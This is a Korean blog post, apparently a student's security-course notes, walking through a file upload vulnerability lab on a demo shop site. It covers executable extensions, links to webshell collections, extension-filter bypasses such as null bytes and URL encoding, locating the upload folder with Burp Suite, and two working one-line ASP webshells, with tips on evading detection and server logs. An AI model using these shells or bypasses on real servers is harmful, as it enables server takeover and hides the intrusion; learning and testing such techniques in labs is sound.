파일 업로드 취약점
주로 게시판에서 파일 업로드 하는 기능을 악용해서 시스템에 침투를 하는 취약점을 의미한다.
그리스 로마신화에서 트로이 목마처럼 몰래 악의가 없는거처럼 내부에 들어갔다가 통수를 치는 취약점이다.
즉 악성스크립트를 업로드를 시키고 서버상에서 그 스크립트를 실행을 시켜서 쉘을 획득하여 서버를 장악을 하는것을 뜻한다.
악성스크립트는 보통 웹셀의 업로드를 통해 서버를 장악을 할 것이다.
그러면 어떤 파일들이 웹에서 구동 되는지 알아보자.
언어 | 확장자 |
asp,aspx | asp, aspx, html, htm, asa |
php | phtml, php, php3, php4, php5, inc, htm, html |
jsp,java | jsp, jspx, jsw, jsv, jspf, htm, html |
perl | pl, pm, cgi, lib, htm, html |
coldfusion | cfm, cfml, cfc, dbm, htm, html |
이러한 파일들에 악성 스크립트 코드를 작성한다면 시스템이 장악되고 말것이다.
그럼 실습을 해보자
1. 먼저 파일을 업로드 할수 있는곳을 찾는다.
2. 웹 쉘 코드를 작성하거나 파일을 구한다
구글링을 하면 금방 나온다 web shell php 라든지 web shell asp github 이런식으로 검색을 하면되는데
https://github.com/tennc/webshell
GitHub - tennc/webshell: This is a webshell open source project
This is a webshell open source project. Contribute to tennc/webshell development by creating an account on GitHub.
github.com
https://github.com/xl7dev/WebShell
GitHub - xl7dev/WebShell: Webshell && Backdoor Collection
Webshell && Backdoor Collection. Contribute to xl7dev/WebShell development by creating an account on GitHub.
github.com
깃허브에 웹쉘만 모아두는 변태들도 있으니 파일이 없어서 못구하지는 않을거 같다
웹쉘 작성과 관련된 내용은 이 게시물 마지막쯤에 더 있으니 그것도 참고할것!
파일업로드 취약점을 막기 위해 확장자를 특정 확장자 외에는 실행을 못하도록 하는 경우가 있는데
이때는 확장자명을 우회를 해야한다.
[웹 셀 우회기법]
1) NULL Bytepass
파일 이름에 NULL Byte를 넣어주게 되면, NULL Byte는 문자열의 끝을 의미하므로
처리되는 파일명은 NULL Byte이후에 내용은 무시가 된다
예를 들어 webshell.php%00.jpg 라는 파일 업로드를 하면 업로드 할때는 일단 어찌됐든 마지막 확장자명이 .jpg 니까
서버에 업로드는 되지만 서버입장에서는 %00라는 NULLByte이후 내용은 무시되므로
webshell.php%00.jpg로 인식이 되므로 php 파일을 업로드를 할수 있게 된것이다.
2)HTML Encoding reference
URL-encoding값을 이용해 확장자명을 encoding을 한다.
예를 들어 webshell.php를 webshell.ph%70으로 바꿔서 업로드를 하는것이다.
인코딩 문자는
HTML Encoding Reference(URL 인코딩 아스키 문자 변환표)
URL-encoding ASCII Character %20 space %21 ! %22 “ %23 # %24 $ %25 % %26 & %27 ‘ %28 ( %29 ) %2A * %2B + %2C , %2D – %2E . %2F / %30 0 %31 1 %32 2 %33 3 %34 4 %35 5 %36 6 %37 7 %38 8 %39 9 %3A :..
overcode.tistory.com
이 위에 블로그를 참고하면 된다
3) 버그를 이용한 우회
IIS 서버에 버그중 세미콜론(;) 와 물음표(?)는 1)과 같은 원리로 우회할수 있다고 한다
was 같은 경우 url 인코딩에서 문제가 있어서 %70 와 %22를 통해서 확장자를 우회해서 업로드가 가능하다
나 같은 경우 1) 방법인 null bytepass 기법을 이용하여 우회를 하였다
3. 파일을 업로드를 하고 업로드한 파일의 위치 찾기
burpsuite 실행하여 프록시를 연결을 한다
해당 파일을 누르면
페이지가 실행되기 전에 burpsuite에서 해당 사진과 같은 결과물이 나오는데
GET 방식으로 URL이 확인이 되고
/demoshop/shop_board 폴더 안에서 shop_download.asp 파일이 실행중인데 파라미터를 2개를 날리는데
파일이름과 경로이다.
f_path=upload_file을 보아하니 upload_file이라는 폴더안에 있는 webshell.asp 파일을 실행(다운로드) 하려고 한다는것을 유추할수 있다.
즉 demoshop/shop_board/upload_file 라는 곳에 업로드 된 파일이 있다고 할수 있다
4.파일의 위치를 파악 했다면 공격을 실시 한다
여러가지 웹쉘 스크립트 자료들이 있겠지만 필자의 경우 한줄짜리 웹 쉘 스크립트를 이용하여 공격을 실시했다
[한줄 짜리 웹 쉘]
한줄짜리 웹 쉘 장점
1. 용량이 작다
2. 여러줄인 웹 쉘 보다는 탐지가 어렵다
[예시 들로 알아보는 asp 웹 쉘 공격]
예시 1)
해당 asp 파일 생성
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
공격
예시 2)
코드 길이가 줄어질수록 명령할때마다 귀찮아짐
해당 asp 파일 생성
<% eval request(“cmd”) %>
공격
라고 치면 해당 그림과 같은 결과가 나온다
그외 공격 코드는 아래 블로그 참조
Security & Intelligence 이글루코퍼레이션
서비스사업본부 보안분석팀 김미희1. 개요2013년 해킹방지워크샵에서 발표된 『2013년 주요 침해사고 사례와 대응』에 따르면, 2010년부터 2013년까지 4년간 발생한 침해사고요인 중 상위요소로 Webs
www.igloosec.co.kr
해당 방식은 GET으로 전송이 되다보니 서버 로그에 어떤 명령어를 썼는지 그대로 남는데
파이썬을 사용하여 POST 형식으로 보내면 어떤 명령어를 썼는지까지는 안나온다
이런식으로 간단하게 코딩하고
결과물이 한글이라서 깨지긴 하지만 아무튼 원하는 결과값은 도출했다.
'보안 > k shield' 카테고리의 다른 글
kshield 220811 (0) | 2022.08.11 |
---|---|
k shield 220808 (0) | 2022.08.08 |
220801 k shield 수업 (0) | 2022.08.01 |
220728 kshield (0) | 2022.07.28 |
220721 수업 (0) | 2022.07.21 |